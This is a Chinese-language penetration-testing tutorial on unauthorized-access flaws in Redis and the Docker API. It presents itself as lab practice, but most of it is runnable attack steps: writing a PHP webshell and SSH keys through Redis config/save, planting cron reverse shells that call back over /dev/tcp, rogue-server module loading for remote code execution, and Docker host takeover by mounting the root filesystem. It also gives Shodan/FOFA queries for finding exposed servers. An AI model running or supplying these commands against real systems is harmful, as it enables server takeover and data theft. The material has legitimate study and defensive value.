未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
https://www.redis.com.cn/redis-intro.html
Redis 简介
Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。
应用场景
Redis 主要有两个应用场景:
Redis 架构
Redis 主要由有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。
Redis 服务默认监听在6379端口上
MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375
nmap端口扫描
nmap -v -Pn -p 6379 -sV IP
-v:显示过程
-Pn:no ping
-sV:版本探测
redis连接远程服务器:
redis-cli -h host -p port -a password
set testkey "Hello World" # 设置键testkey的值为字符串
get testkey # 获取键testkey的内容
set score 99 # 设置键score的值为99
incr score # 使用INCR命令将score的值增加1
get score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的
这里使用的是 vulapps 具体教程见前面的云服务器与 Docker
https://github.com/Medicean/VulApps/tree/master/r/redis/1
docker pull medicean/vulapps:r_redis_1
docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1
-p 22:22
前面的 22 代表物理机的端口,可随意指定。
这里我利用的是 CFS 三层靶机环境,上面搭建的靶场只能使用第三种方法来实现即通过 redis 数据备份功能写 SSH 公钥,实现免密登录linux 服务
apt install redis-tools
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz //解压
cd redis-6.0.3/
make //编译
cd src/
cp redis-cli /usr/bin //客户端连接程序
redis-cli -h 192.168.164.135 -p 6379
config set dir /var/www/html 或者 /www/wwwroot/(一般这两个为默认目录)
config set dbfilename shell.php
set x ""
save
之后可以用蚁剑、冰蝎、哥斯拉之类的 Webshell 管理工具软件连接
redis-cli -h 192.168.164.135 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.164.133/4433 0>&1\n\n"
//这里的地址要写操作主机的地址,这里设置的是一分钟后反弹
config set dir /var/spool/cron
config set dbfilename root
save
在本地监听 4433 端口,等待一分钟后回连
nc -lvnp 4433
默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.164.135 -p 6379 -x set m
//将生成的公钥的值写入目标服务器
//加上 \n\n 是为了不破坏 ssh public key
//m 是设置的 key,可随意指定
redis-cli -h 192.168.164.133 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
//将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件。
ssh [email protected] -i ~/.ssh/id_rsa
//通过 ssh 连接目标,默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定。
如果把数据存储在单个 Redis 的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,通过写C语言并编译出 .so 文件。
编译生成so扩展文件
cd /home/kali/Desktop/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand-master
cd RedisModules-ExecuteCommand-master
make
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
cd /home/kali/Desktop/
git clone https://github.com/Ridter/redis-rce-master
cd redis-rce-master
python3 -m pip install -r requirements.txt
cp /home/kali/Desktop/RedisModules-ExecuteCommand/module.so ./module.so
python3 redis-rce.py -r 192.168.164.133 -p 6379 -L 192.168.164.133 -P 7890 -f module.so
也可以借助这个工具,在 redis-cli 实现虚拟终端
redis-cli -h 192.168.164.133 -p 6379
config get dir
config get dbfilename
system.exec "id"
命令如下:
slaveof 47.104.255.11 7890
config set dbfilename module.so
MODULE LOAD ./module.so
system.exec "命令"
Docker API 未授权
Docker API :默认开放在2375端口
通过url的方式调用 API ,返回 {“message”:“page not found”} 代表存在漏洞
port="2375" protocol="docker" country="US"
port:2375 org:"Amazon.com"
可以使用 /version 、 /info 可以查看其他信息
docker -H tcp: xx.xx.xx.xx:2375 images
docker -H tcp: xx.xx.xx.xx:2375 run -it rm -v /:/mnt 镜像id /bin/bash
在vps上生成公钥,并将其写入到目标机器宿主机的 /root/.ssh/authorized_keys 文件中,即可直接免密登录目标机器
ssh-keygen –t rsa
ssh root@ip –i id_rsa
可以挂载 var/ 目录,将反弹 Shell 的脚本写入到 /var/spool/cron/root ( centos 系统)或 /var/spool/cron/crontabs/root ( ubuntu 系统)
echo "* * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root